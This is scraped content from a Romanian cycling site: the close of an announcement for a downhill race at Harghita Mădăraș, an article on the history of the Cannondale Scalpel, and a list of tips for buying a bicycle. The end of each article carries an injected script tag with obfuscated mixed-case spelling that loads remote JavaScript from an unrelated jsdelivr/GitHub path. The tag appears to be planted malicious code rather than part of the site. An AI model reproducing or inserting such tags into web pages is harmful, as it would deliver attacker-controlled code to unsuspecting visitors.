&lt;b&gt;Cine poate participa la eveniment, cum se desfășoară înscrierile?&lt;/b&gt;

Categoriile vor fi cele de anul trecut, pe categorii de vârsta, pentru cei care au licența valabilă. Cei car nu au optat pentru licență pot să se dea în categoria ”Hobby”, unde le este necesară doar adeverința medicală mai recentă de 30 de zile, de la medicul de familie, și asigurarea de accident, exact ca până acum. Cei care doresc să se înscrie sunt rugați să trimită pe adresa de e-mail harghita.dh@gmail.com următoarele informații: numele complet / orașul de unde sunt / echipa / vârsta / categoria / numărul licenței.

[article-image=&quot;8&quot; description=&quot;Altă clasică printre florile frumoase de vară. - foto: Mx&quot;]
[article-image=&quot;9&quot; description=&quot;Matei mai bagă o fisă. - foto: Mx&quot;]

&lt;b&gt;Ceva despre cazare și acces?&lt;/b&gt;

Cazarea este la Pensiunea Sugo, care este și funcționează și ca &lt;i&gt;race office&lt;/i&gt;. Pentru rezervări, se trimite e-mail la office@sugopanzio.ro. Avem două posibilități de a ajunge acolo. Una din direcția Zetea - Izvoare - Harghita Mădăraș și a doua din Vlăhița. Recomand ca lumea să folosească drumul de pe Izvoare, unde este asfalt 95\%. Dinspre Vlăhița recomand să vină doar cei care au mașină 4X4 cu garda la sol ridicată.

[article-image=&quot;10&quot; description=&quot;Sugo Panzio = ACASĂ. Hashtag inimuară - foto: Mx&quot;]

&lt;b&gt;Cine sunt oamenii care pun osul la treabă?&lt;/b&gt;

Brigada este cea cu care ne-am obișnuit, adică echipa RideMore și riderii locali.

&lt;b&gt;Mulțumim!&lt;/b&gt;

Vă mulțumim și vă așteptăm!

[article-image=&quot;11&quot; description=&quot;Transmitem în direct de la Mădăraș, Andrea ai legătura! - foto: Ride More&quot;]

------ ------ ------ ------ ------ ------

După conversația cu Danika, am mai stat de povești la telefon și cu Geza. Geza adică Kinda Geza, un băiat, poate ați auzit de el. Niște participări la Campionate Mondiale, Campion Național și în general talentat pe orice se mișcă la vale și cu viteză, nimic special. Geza a insistat să-mi sublinieze că traseul de la Mădăraș e mai prietenos ca niciodată, că a pus mâna personal și că ”am scos atâtea pietre mari din traseu, că puteam să fac casă din ele”, un lucru care nu trebuie trecut cu vederea pe un traseu care a devenit celebru prin dificultatea și brutalitatea lui. Geza mi-a mai spus că scopul întregii acțiuni e ca toată lumea să se poată da în siguranță pe traseu și să și plece de la dat cu un zâmbet, ceea ce vrem, de fapt, cu toții de la oricare loc de dat, și că mulțumiri speciale trebuie să se îndrepte înspre oamenii buni de la Pensiunea Sugo, unde este centrul operațiunilor. Ca și în toți ceilalți ani, ei au fost principalii susținători ai muncii la traseu și ai concursului, atât logistic dar și financiar, deci trebuie să-i dăm Cezarului ce-i al Cezarului.

Event-ul de Facebook aici: &lt;a href=&quot;https://www.facebook.com/events/711444366341351/&quot; target=&quot;\_blank&quot;&gt;https://www.facebook.com/events/711444366341351/&lt;/a&gt;

[article-image=&quot;12&quot; description=&quot;Proaspăt de la Geza, procesul de extracție, stomatologii din zonă sunt invidioși. - foto: Kinda Geza&quot;]

Și fiindcă sunteți simpatici și-mi place despre voi, ați vă dau niște industrial de calitate de acum 24 de ani, cu plăcere:

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/Fwk45bBkEQ&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

Dacă iubești downhill-ul cu adevărat, ne vedem la Mădăraș, fără mofturi și miau-miau!

[article-image=&quot;13&quot; description=&quot;Uberstyler Matei. - foto: Akos Istvandi / Royal Art&quot;]<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Racing reloaded: Campionatul Național de Downhill 2020, Harghita Mădăraș

Istoria Cannondale începe in 1971. Încă de atunci au lăsat deoparte regulile și și-au creat o cale a lor, revoluționând bicicletele, folosind materiale și tehnici inovatoare, obținând rezultate spectaculoase fie că vorbim de cursele de șosea sau mountainbike. Lume i-a numit nebuni, ridicoli sau chiar mai rău, dar altfel n-ar fi fost produse niciodată cadrele deja
legendă sau furcile cu un singur braț.

Și că tot am vorbit de mountainbike-uri, cred că e bine să ne rezumăm azi la cele de XC, cross country și
mai precis full suspension. De-a lungul istoriei sale Cannondale a avut o grămadă de biciclete full care au avut un succes foarte mare dar anul 2000 a însemnat ceva tipic brand-ului american și anume o inovație: lansarea primei
generații de Scalpel.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66327.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Prima generatie de Cannondale Scalpel&lt;/div&gt;&lt;/div&gt;

Cu un travel de 63mm pe spate și 110 față, era cea mai capabilă bicicletă a vremii, folosită ani de-a randul de rideri precum Cristoph Sauser, Tinker Juarez, Roel Paullisen sau Jakob Fuglsang. Chainstay-uri de carbon flexibile, blocaj electronic al furcii, angrenaj modular cu doua foi. Vă sună cunoscut zilele astea?
&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66332.jpg&quot; /&gt;&lt;/div&gt;
Anul 2008 a venit cu cu noua generație de Scalpel. Echipa a fost întrebată: ce vreți de la o bicicletă nouă? Mai mult travel, mai multă rigiditate, greutate mai scăzută. Zis și făcut. A fost anul când Jakob Fuglsang l-a bătut pe Nino Schurter la Campionatele Mondiale de la Fort Williams sau Frederik Kesiakof a câștigat Cupa Mondială de la Maribor.
&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66329.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Ultimul model Cannondale Scalpel cu roti de 26&quot;&lt;/div&gt;&lt;/div&gt;
A treia generație de Scalpel, ultima cu roți de 26 a fost creația lui Peter Denk. Inginerul german a  finalizat în 2011 un bike mai ușor și chiar dacă avea un travel de 85mm pe spate s-a dovedit a fi mai rapid datorită modificărilor aduse geometriei.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66330.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Primul Scalpel 29er&lt;/div&gt;&lt;/div&gt;

In 2012, după o muncă asiduă e lansat și primul Scalpel 29. Un design nou, un travel de 100mm, ax spate de 142x12, dar cu tot ce era mai bun: fuca Lefty și angrenajul Hollowgram SL.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66331.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;XC is dead, long live XXC&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
A rămas la fel până în 2016 când a legile XC-ului au fost rescrise, din nou. Scalpel-Si era mai ușor, mai  rigid, cabluri integrate, furca Lefty 2.0, Ai-Offset, doi suporti de bidon. Seatstay-uri flexibile pentru a elimina din rulmenti, link de carbon, practic totul nou și la îndemănă. O bicicletă capabilă de Cupa Mondială de XCO sau Cape Epic cu care Marco Aurelio Fontana, Manuel Fumic, Anton Cooper, Keegan Swenson, Henrique Avancini sau Maxime Marrotte au obiținut rezultate incredibile.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66334.jpg&quot; /&gt;&lt;/div&gt;

21 Mai, 2020- Cannondale, a anuntat astazi cea mai noua evolutie a legendarului model Scalpel. Dispunand de o suspensie coboratacatre sol, geometrie agresiva si o greutate redusa pana la extrem, riderii pot sa pedaleze ca din pusca, avand tractiune maxima, eficienta incredibila si control suprem asupra fiecarei sectiuni de munte. 

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66341.jpg&quot; /&gt;&lt;/div&gt;

Noul Scalpel ofera atat performanta pentru cursele din Cupa Mondiala de tip mountain bike XC, cat si distractie pentru traseele de trail all around.
Noul Scalpel este una dintre cele mai usoare biciclete mountain bike de pe piata, dar aceasta nu este chiar cea mai de top caracteristica a bicicletei. Cheia pentru performantele incredibile ale noului model Scalpel este noua suspensie FlexPivot de la Cannondale. Zonele de flexibilitate din fibra de carbon, tehnologie patentata de Cannondale, actioneaza similar cu un pivot de legatura Horst, fara greutatea sau flexarea suruburilor si a rulmentilor.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66340.jpg&quot; /&gt;&lt;/div&gt;

De asemeni, acest lucru permite
suspensiei si cadrului in general, ajustarea personalizata, dupa dimensiune, cu ajutorul tehnicii de constructie Proportional Response, tot o inovatie a brand-ului Cannondale. In timp ce altii sacrifica performanta in detrimentul greutatii, suspensia FlexPivot ofera ambele – asigura o pedalare ultra-usoara, cu aderenta, acceleratie si control incredibil.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66342.jpg&quot; /&gt;&lt;/div&gt;

Cu putin peste 1900 de grame completat de shock-ul spate, noul cadru Scalpel este unul dintre cele mai usoare cadre MTB cu suspensie dubla realizat vreodata. Transmisia Cannondale Ai offset (Asymetric Integration), asigura spatiu de protectie suficient pentru anvelope mari de 2.4”, pastrand chainstay-ul scurt, pentru tractiune si agilitate. Geometria progresiva a noului Scalpel a evoluat si mai mult, unghiul headtube-ului si seat-tube-ului fiind cu 1.5 grade mai mare, in comparatie cu modelul anterior. Acest lucru, combinat cu offset-ul extra lung al furcii Lefty, creeaza ultima versiune a geometriei Cannondale OutFront, oferind bikerilor incredere si stabilitate mai mare atunci cand lucrurile devin complicate.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66333.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Cannondale Scalpel-SE&lt;/div&gt;&lt;/div&gt;

Pentru racerii maratonisti sau cei care abordeaza trasee de trail in viteza, exista versiunea Scalpel SE. Practic, se iau toate caracteristicile modelului Scalpel si se scot putin in evidenta, cu cateva cresteri: travel de la 100mm la 120mm (fata si spate) si cresterea unghiului furcii. Combinatia dintre anvelopele de 29” cu volum mai mare si tija de sa reglabila, ofera viteza incredibila si posibilitati multiple.

In timp ce suspensia este eroul din povestea noului Scalpel, bicicletele primesc si kitul Cannondale STASH. Incorporat in interiorul downtube-ului, sub prinderea suportului de bidon, kitul contine tot ce este necesar pentru reparatiile rapide pe traseu, incluzand un multi-tool Fabric cu 8 functii, intr-un toc special, un kit tubeless si un loc pentru cartus CO2 sau mini
pompa. 

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66343.jpg&quot; /&gt;&lt;/div&gt;

Noua bicicleta Scalpel va fi disponibila in 8 modele, incluzand Scalpel SE precum si modelele de
dama, Scalpel Carbon 2 si Scalpel Carbon SE. Acestea vor fi disponibile in marimile S, M, L si XL, iar modelele de dama in marimile S, M si L. 

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66339.jpg&quot; /&gt;&lt;/div&gt;

Mai multe informatii despre noua bicicleta Scalpel 2021, pe site-ul producatorului www.cannondale.com. Nu uitati sa urmariti si canalele oficiale de socializare Instagram, Facebook, Twitter si Youtube.

&lt;center&gt;&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/XuEs0jFCV4c&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/475/66335.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Manuel Fumic si Henrique Avancini concurand cu noul Scalpel la inceputul acestui an&lt;/div&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Noul Cannondale Scalpel - redefinirea XC-ului

&lt;i&gt;Ești începător? Vrei să-ți iei o bicicletă? Aici ai câteva sfaturi practice despre biciclete, achiziția lor și accesoriile greșite. Nu, nu sunt toate sfaturile din lume despre cum să cumperi biciclete, că n-au cum să fie, dar sunt câteva esențiale, inspirate de alegerile greșite pe care le fac oamenii zi de zi, fără să-și dea seama. E timpul să demontăm niște preconcepții. &lt;/i&gt;

&lt;b&gt;1. Când îți iei o bicicletă, gândește-te foarte bine la ce urmează să o folosești!&lt;/b&gt; 

Este foarte important să fii sincer cu tine, să nu te subapreciezi, dar mai ales să nu te &lt;u&gt;supra&lt;/u&gt;apreciezi. Tentația e mare să te crezi mai zmeu decât ești de fapt. Sunt foarte mulți oameni care au biciclete cât se poate de greșite pentru ce fac cu ele, iar acesta este unul dintre motivele principale: nesinceritatea față de ei înșiși.

[article-image=&quot;2&quot; description=&quot;BMX, mountainbike, fixie - toate sunt biciclete, dar foarte diferite una de cealaltă. - foto: Mx&quot;]

&lt;b&gt;2. Bicicletele se cumpără pe dimensiuni, în funcție de înălțime, și asta este esențial.&lt;/b&gt; 

Din păcate, oamenii adesea ignoră lucrul ăsta. Cum nu-ți iei nici perechea de ghete numărul 40, când tu porți 43, așa e bine să ignori și bicicleta aia mărime S, când tu ai 1.90 m, deși e la super preț. Iată o ofertă pe care o poți refuza! Dar la fel cum nici la haine calapodurile nu sunt la fel, nici la biciclete mărimea M de la o marcă nu e la fel cu mărimea M de la altă marcă, deci e bine să te informezi pe partea asta. Există o anumită proporționalitate între înălțimea unui cadru și lungimea lui, dar tendința actuală este de a face biciclete cu cadre mai lungi și pipe mai scurte, iar acesta este un lucru bun. Dacă îți cauți un mountainbike, caută în tabelele de geometrie cuvântul &lt;i&gt;”reach”&lt;/i&gt; și compară bicicletele în funcție de el. Este măsura cea mai relevantă dintre toate.

[article-image=&quot;3&quot; description=&quot;Mondraker au fost printre pionierii geometriei moderne de mountainbike. - foto: PlayBike&quot;]

&lt;b&gt;2*. Dimensiunile roților depind de tipul și utilizarea bicicletei, nu există mărime de roată ideală. &lt;/b&gt;

Paleta este atât de bogată în ziua de azi, încăt unui începător îi poate fi greu să înțeleagă de ce e nevoie de atât de multe feluri de roți. Mărimile de roți sunt definite în țoli/inci și punctual avem așa:

- la BMX-uri, roți de 20”
- la biciclete pentru copii, roți de la 12” până la 26”, în funcție de înălțime
- la biciclete de oraș, roți de 26” și de 28”
- la biciclete pliabile de oraș, de obicei roți de 20”, din motive practice evidente
- la cursiere și biciclete de drumeție/trekking, roți de 700C sau 28” (e același diametru cu alt nume)
- la mountainbike-uri, roți de 26”, 27.5” și 29”
- la fatbike-uri, roți de 26” cu cauciucuri cu balon supradimensionat (fatbike-urile sunt mountainbike-uri cu pneuri extrem de voluminoase, care au sens iarna, prin zăpadă, și cam atât; nu le vom acoperi aici)

Problema principală apare la mountainbike-uri, unde 26” a fost ani de zile dimensiunea cea mai populară, dar apoi au fost introduse roțile mari de 29” și apoi cele de 27.5”, care au devenit noul standard. Roțile de 29” rulează mai rapid, dar sunt mai puțin manevrabile și se pretează în general la oameni mai înalți. Roțile de 27.5” sunt mai agile și sunt mai potrivite pentru persoane mai scunde. Există mărci de biciclete care oferă pentru același model roți de 27.5” pentru mărimile mici  (S, XS, uneori M) și roți de 29” pentru cele mai mari (L, XL, XXL, dar uneori și M). Subiectul ăsta este suficient de amplu cât să povestim despre el până poimarți, nu poate fi epuizat aici. Pe scurt însă, e cam așa: la copii iei în funcție de înălțime, pentru oraș iei în general ceva cu roți de 28”, dar dacă ai apartament mic, iei o pliabilă cu roți de 20”, la cursieră și trekking nu ai de ales, iar la mountainbike 27.5” este alegerea standard, dar poți lua 29”, dacă ești mai înalt, dacă mergi des la drum întins și dacă vrei să te dai la concursuri.(Am adăugat acest paragraf la sugestia unei prietene. Merci Ioana!)

[article-image=&quot;15&quot; description=&quot;Gary Fisher - părintele mountainbike-ului este și părintele 29er-ului! - foto: Gary Fisher FB&quot;]

&lt;b&gt;3. Ascultă de sfatul unui om care se pricepe!&lt;/b&gt; 

De cele mai multe ori, omul acesta lucrează într-un magazin specializat și știe mai bine decât majoritatea. Găsești mai multe sfaturi competente într-un magazin specializat decât la un discounter mare, unde băiatul care-ți ”recomandă” bicicleta aia cu furca montată invers ceva mai înainte aranja niște adidași și apoi niște gantere. Nici șosete nu-ți cumperi de la raionul cu mezeluri, nu? 

Află care sunt magazinele tale locale și vezi care ți se pare mai de încredere. Și, te rog, scoate-ți din cap închipuirea că toată lumea vrea să te jecmănească, de fapt, cele mai multe magazine ar vrea mai degrabă să le fii client și să te întorci, ca să mai cumperi lucruri, logic. E mai plauzibil să fii păcălit la piață, de o ”bătrânică sărmană care vinde roșii de grădină” (de fapt o actriță excelentă) decât la un magazin de biciclete. În sens de karma, chakre și energii, dacă o iei la drum plecând de la premisa că ți se vor întâmpla lucruri negative, atunci cel mai probabil le vei și atrage. Și dacă ești un client capricios și dificil, să nu te miri dacă nu atragi la fel de multe zâmbete ca atunci când îți iei un Big Mac.

[article-image=&quot;4&quot; description=&quot;Două magazine onorabile din Brașov. - foto: PlayBike, Planet Bike, via Facebook&quot;]
[article-image=&quot;14&quot; description=&quot;...și două la fel de onorabile din București. - foto: Surmont, BikeXpert ,via Facebook&quot;]

&lt;b&gt;4. Nu există bicicletă ”bună la toate”, deși unele sunt mai polivalente decât altele.&lt;/b&gt; 

Mountainbike-ul nu este &lt;a href=&quot;https://dexonline.ro/definitie/panaceu&quot; target=&quot;\_blank&quot;&gt;panaceu&lt;/a&gt;. Dacă o să te deplasezi mai mult în oraș și o să ieși o dată la 100 de ture pe macadam, ia-ți un &lt;i&gt;citybike&lt;/i&gt;, că are o poziție mai comodă, ideală pentru distanțe scurte. Fiindcă românii au dat de biciclete decente abia în anii &#039;90, când mountainbike-urile erau pe val, mulți și-au cumpărat mountainbike-uri ca nebunii, deși puțini aveau nevoie de ele. Mentalitatea că mountainbike-ul este echivalentul SUV-ului din lumea auto și că ”sigur nu strică” a rămas împământenită adânc în conștiința națională. Din fericire, în ultimii 10 ani, românilor le-a mai venit mintea la cap și au înțeles că e mai bine să te dai în oraș cu o bicicletă de oraș; e mai practic și mai confortabil. Nici olandezii ăia nu sunt nebuni, cu toate bicicletele ălea ale lor. Da, dacă locuiești într-un oraș de munte, te dai și pe stradă și prin pădure și nu-ți permiți decât o singură bicicletă, poți să-ți iei un mountainbike, dar câtă lumea se află în situația asta? Dacă vrei să faci kilometri pe șosea, ia o cursieră. Dacă vrei să faci ture de mai multe zile, ia un bike de trekking sau un &lt;a href=&quot;https://en.wikipedia.org/wiki/Randonneuring&quot; target=&quot;\_blank&quot;&gt;&lt;i&gt;randonneur&lt;/i&gt;&lt;/a&gt;. Dacă mergi numai prin oraș, &lt;i&gt;citybike&lt;/i&gt;-ul e cel mai bun. Dacă o să te miști numai prin pădure, mountainbike scrie pe tine. Și tot așa.

[article-image=&quot;5&quot; description=&quot;Două capodopere din oțel, foarte diferite una de cealaltă: un Cielo de șosea făcut de Chris King și un Ritchey P-Team de 29”. - foto: Mx&quot;]
[article-image=&quot;6&quot; description=&quot;O bicicletă de oraș onorabilă nu a ucis încă pe nimeni, să știți! - foto: Mx&quot;]

&lt;b&gt;5. Nu orice bicicletă cu suspensii spate/față este ”de downhill”.&lt;/b&gt; 

Și nu oricine merge prin pădure ceva mai repede ”face downhill”. Preconcepția asta există fiindcă oamenii nu se informează. Dacă ești începător, sigur nu ar trebui să te gândești la așa ceva, ci la un mountainbike clasic, de cross-country, cu suspensie doar pe față. După ce te dai un pic și ai reperul ăsta, mai vezi tu încotro te îndrepți. Bicicletele de downhill sunt biciclete de super nișă, care au sens doar dacă te dai în concursuri sau ai un bikepark aproape de tine, iar downhill-ul este în primul rând un format competițional, pe un traseu bine delimitat și contra cronometru. În ziua de azi există mountainbike-uri full-suspension pentru toate disciplinele și ele se adresează atât începătorilor cât și celor experimentați. De asemenea, nu există, biciclete ”profesioniste”, indiferent ce scrie Gigel din Găuriciu-Haltă pe OLX, iar dacă cineva se dă mai bine, nu înseamnă că e ”profesionist”. ”Profesionist” înseamnă să fii plătit ca să te dai cu bicicleta, iar oameni din ăștia sunt extrem de puțini. 

[article-image=&quot;7&quot; description=&quot;O bicicletă de downhill, un profesionist și un profesionist pe o bicicletă de downhill. - foto: Mx, Mx, Ionuț Sava/&lt;a href=&quot;https://www.instagram.com/wwildshots/&quot; target=&quot;\_blank&quot;&gt;wwildshots&lt;/a&gt;&quot;]

&lt;b&gt;6. Ia aminte că poziția și geometria unei biciclete  sunt concepute diferit pentru fiecare tip de bicicletă.&lt;/b&gt; 

Geometria este suma lungimilor și a unghiurilor cadrului, care dau comportamentul bicicletei. Într-un fel stai pe o cursieră, altfel pe un mountainbike de cross-country, altfel pe un &lt;i&gt;citybike&lt;/i&gt;, altfel pe un BMX, că fiecare e făcută pentru altceva. Product managerii care concep bicicletele pe anumite zone de preț, cu anumite echipări, nu sunt bătuți în cap, ba dimpotrivă, sunt poate cei deștepți și bine informați oameni din industrie. Fiecare dintre ei vrea să-ți ofere cel mai bun pachet și să te convingă să cumperi de la el și competiția e acerbă, mai ales pe gamele populare, &lt;i&gt;entry-level&lt;/i&gt;. Dacă tu vrei să pui ghidon curbat cu coșuleț pe cursieră sau furcă de downhill pe BMX, cu siguranță problema e la tine și nu ai fost sincer în privința bicicletei pe care ți-ai luat-o, că magazinele oricum au cam de toate. Ia în calcul și că mountainbike-urile mai ieftine sunt mai degrabă proiectate pentru confort și distanțe scurte, iar cele mai scumpe sunt mai sportive, deci au o poziție mai puțin confortabilă, că nu confortul e primordial când vine vorba de sport serios.

[article-image=&quot;8&quot; description=&quot;Degeaba îți dai filme că ai nevoie de cea din stânga, când cel mai de folos ți-ar fi cea din dreapta... - foto: Mx&quot;]

&lt;b&gt;7. Orice ți s-ar spune, să nu uiți niciodată că lucrul cel mai important la o bicicletă este cadrul! &lt;/b&gt;

De fapt, cadrul ESTE bicicleta. Cum spuneam mai sus, pomenind geometria, cadrul îți dă comportamentul bicicletei De aceea este important să-ți fie bun ca mărime, în primul rând, și să fie de cât mai bună calitate, în al doilea rând. Poți să ai ce echipare vrei tu, dacă nu e bun cadrul, tot degeaba. Poți avea cele mai scumpe piese și pe un Tohan sau pe o țeavă de gaz și tot nu o să fie altceva decât Tohan sau țeavă de gaz. Când te uiți la o bicicletă, fii atent, în ordine, la reperele ăstea: 1. cadru, 2. furcă/suspensii, 3. roți, 4. restul. Nu de alta, dar tot ce intră la ”restul” poate fi schimbat mult mai ușor decât celelalte elemente. Fii atent și să ai roți de cât mai bună calitate, fiindcă pe ele rulează bicicleta! Să fie rezistente, să se învârtă bine și să fie, de preferință, ușoare, că masa rotativă și inerția ei sunt lucruri care-ți pot influența felul în care se manevrează bicicleta. Și să fie drepte, evident!

[article-image=&quot;9&quot; description=&quot;Detaliu de Intense sudat în California, un Look franțuzesc din carbon, un Nicolai sudat în Germania și pro-modelul unui rider român la Dartmoor. Pentru că nu oricine are cadru pro-model. Cadrul - tot ce contează la o bicicletă! - foto: Mx&quot;]

&lt;b&gt;8. Chiar dacă îți permiți, nu da banii pe o bicicletă scumpă de curse! &lt;/b&gt;

Sigur e mai inconfortabilă și nepractică decât una care costă de zece ori mai puțin. Bicicletele de competiție, superușoare și cu suspensii și transmisii sofisticate, sunt făcute pentru atleți și nu prea au sens în afara concursurilor nici măcar pentru ei. Nici Nino Schurter nu se duce să se dea de plăcere cu racheta de Cupă Mondială, nici Mika Hakkinen nu mergea la supermarket cu McLaren-ul ăla de Formula 1, deci nici tu n-ar trebui să-ți vizitezi mătușa din satul vecin cu o cursieră de triatlon de ț-șpe mii de coco, chiar dacă ai &lt;i&gt;valuare&lt;/i&gt; și crezi că meriți ce e mai bun. Pe partea opusă, nu fi chitros, că tot tu suferi. Deci nu, nu există bicicletă cu frâne pe disc hidraulice la 500 de lei, poți să uiți, bate mingea mai încolo!

[article-image=&quot;10&quot; description=&quot;Numai bune de mers la piață în trening! - foto: Mx&quot;]

&lt;b&gt;9. Fugi de înălțătoarele de ghidon și de husele de șa cu gel ca dracul de tămâie!&lt;/b&gt; 

Sunt niște accesorii de care nu are nimeni nevoie și sunt doar mărturii ale unor alegeri foarte greșite! Dacă ai nevoie să-ți ridici ghidonul brusc cu 15 cm, atunci ți-ai luat bicicleta complet aiurea sau poate ai un mountainbike pe care vrei să-l transformi în &lt;i&gt;citybike&lt;/i&gt;, doar să-ți asumi că-l faci struțocămilă. O șa nu este confortabilă prin cantitatea de spumă sau gel pe care o are, ci printr-o formă cât mai adecvată anatomiei tale și modului în care folosești bicicleta. Fiecare dintre noi este construit diferit și de aceea e bine să probezi, dacă poți. Spre exemplu, șeile de damă sunt mai late fiindcă femeile au bazinul mai larg. Iarăși, pe distanțe lungi, o șa fermă cu formă corectă va fi mai confortabilă decât o canapea moale de la bicicletă de oraș, care te amăgește în primii kilometri, dar în care te afunzi degeaba. Husa cu gel este o mizerie care se va mișca de colo-colo și care denotă că ai o șa nepotrivită sau că nu știi ce vrei de la bicicletă. Mai bine ia-ți niște pantaloni de ciclism cu bazon!

[article-image=&quot;11&quot; description=&quot;De mizeriile ăstea să te ferești, dacă vrei o experiență plăcută pe bicicletă și dacă n-ai volan de Audi pe Logan! Dacă ești căpos, treaba ta! - imagini via eMag&quot;]

&lt;b&gt;10. Nu băga prea mulți bani pentru a ”îmbunătăți”o bicicletă, mai bine vinde-o și ia-ți alta! &lt;/b&gt;

Upgrade-urile au sens până la un anumit efort financiar. Ca regulă de bază, când valoarea pieselor noi pe care ar urma să le montezi este mai mare decât valoarea bicicletei cu totul, ești pe cale să faci o greșeală. În limba engleză există și un termen pentru treaba asta și-i zice &lt;a href=&quot;https://www.urbandictionary.com/define.php?term=turd\%20polishing&quot; target=&quot;\_blank&quot;&gt;”turd polishing”&lt;/a&gt;. E mai bine să vinzi bicicleta veche, să adaugi banii pe care voiai să-i cheltuiești pe îmbunătățiri și să iei ceva mai bun. Ieși mai bine așa și probabil și mai ieftin. Nici nu pomenesc de faptul că nu o să poți îmbunătăți o bicicletă de mărime anapoda cu piese mai bune sau că ești în eroare totală când spui lejer ”schimb cadrul”, ca și când ar fi un cauciuc. Pentru detalii, vezi punctul 7!

[article-image=&quot;12&quot; description=&quot;Nenea ăsta e superpasionat și și-a făcut singur bicicleta, în uzină. Dar asta nu înseamnă că bicicleta lui e prea bună pentru el. De fapt, el se chinuie cu ea, însă nu are sens să-i strici bucuria propriei creații. - foto: Mx&quot;]
[article-image=&quot;13&quot; description=&quot;Alte capodopere cu maxim de utilitate! - foto via &lt;a href=&quot;https://www.instagram.com/auto\_atrocities/&quot; target=&quot;\_blank&quot;&gt;auto\_atrocities&lt;/a&gt;&quot;]

&lt;i&gt;Una peste alta, putem rezuma toate sfaturile de mai sus într-unul sigur: fii realist, fii decent, fii sincer cu tine și ascultă o părere avizată. Minuni nu există, nici struțocămile care-ți fac și omleta de dimineață și masaj la picioare seara. E logic și de bun simț. 

Spor și voie bună! Sublime pentru cei cuminți:&lt;/i&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/0Uc3ZrmhDN4&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

Fotografie din copertă de Victor Cristescu/&lt;a href=&quot;https://www.facebook.com/LiveAeonsPhotography/&quot; target=&quot;\_blank&quot;&gt;Live Aeons Photography&lt;/a&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Articole